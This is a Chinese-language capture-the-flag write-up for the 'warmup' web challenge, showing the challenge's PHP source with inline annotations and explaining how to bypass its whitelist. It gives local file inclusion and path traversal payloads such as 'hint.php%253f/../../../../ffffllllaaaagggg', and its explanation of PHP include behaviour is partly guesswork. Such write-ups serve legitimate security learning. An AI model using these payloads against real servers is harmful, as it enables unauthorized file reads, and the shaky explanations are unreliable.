攻防世界 web 進階warmup


首先先查一下網頁元素

發現,里面提示是有一個源碼的,,,,在url后面加上/source.php(執行腳本語言被服務端執行並返回頁面)

訪問之后得到源碼

<?php
    highlight_file(__FILE__);         $whitelist  是白名單,可以執行,有響應,大概就是這個意思。
    class emmm
    {
        public static function checkFile(&$page)        ////在這里定義了一個我看懂的函數,大概是檢查的作用

        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];   !!!!!!!這里明顯標注了還有一個hint.php文件
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;              !!!!!!檢查是不是為空;   判斷是不是字符串   ;判斷是否符合上面那個函數定義的要求

            }

            if (in_array($page$whitelist)) {
                return true;
            }

            $_page mb_substr(
                $page,
                0,
                mb_strpos($page '?''?')
            );
            if (in_array($_page$whitelist)) {
                return true;
            }

            $_page urldecode($page);
            $_page mb_substr(
                $_page,
                0,
                mb_strpos($_page '?''?')
            );
            if (in_array($_page$whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;                          !!!!!!!!!!中間都是判斷輸入是否符合哪些條件,用來輸出flag
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])        !!!!!!!!!!!!!

                                                                                                          ($_REQUEST 是通過 GET,POST 和 COOKIE 輸入機制來傳遞參數,下面偷懶就用get方式傳值)

                                                                                                             !!         例如         http://111.198.29.45:48818/source.php?file=source.php?(payload)

                                                                                                               !!        例如               http://111.198.29.45:48818/source.php?file=hint.php?(payload)


    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";      //這里就是輸出網頁上那個圖片的源碼
    }  
?>

接下來就是看懂這一段源碼,里面提示了是有一個hint.php文件的

接下來再訪問一下

得到 flag not here, and flag in ffffllllaaaagggg

接下來是要構造payload       ,這里要使用到include函數

ffffllllaaaagggg是在hint.php中發現的,顯然flag在這個文件里。其實文件名提示了我們要使用四層目錄,(使用幾層目錄,純粹是試出來的,不懂別人是怎么知道四層的)

?file=hint.php%253f/../../../../ffffllllaaaagggg                                   (這樣也是可以繞過檢查得到flag的,只是里面的%253f不懂是什么,可能是PHP語法之類的,還沒學)

運行一下就可以得到flag

正常的?就可以,不用編碼,這是include的一個特性

 

 

如果include包含的文件中含有路徑,就會包含最后一個/后面的文件,因此直接構造payload:source.php?file=hint.php?/../../../../../../ffffllllaaaagggg

本來是會包含hint.php文件的,但是后面出現了../,就包含了最后面的ffffllllaaaagggg

 有多少../   在哪一層目錄完全是可以自己去試出來的。

 

include函數有這么一個神奇的功能:以字符‘/’分隔(而且不計個數),若是在前面的字符串所代表的文件無法被PHP找到,則PHP會自動包含‘/’后面的文件——注意是最后一個‘/’。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM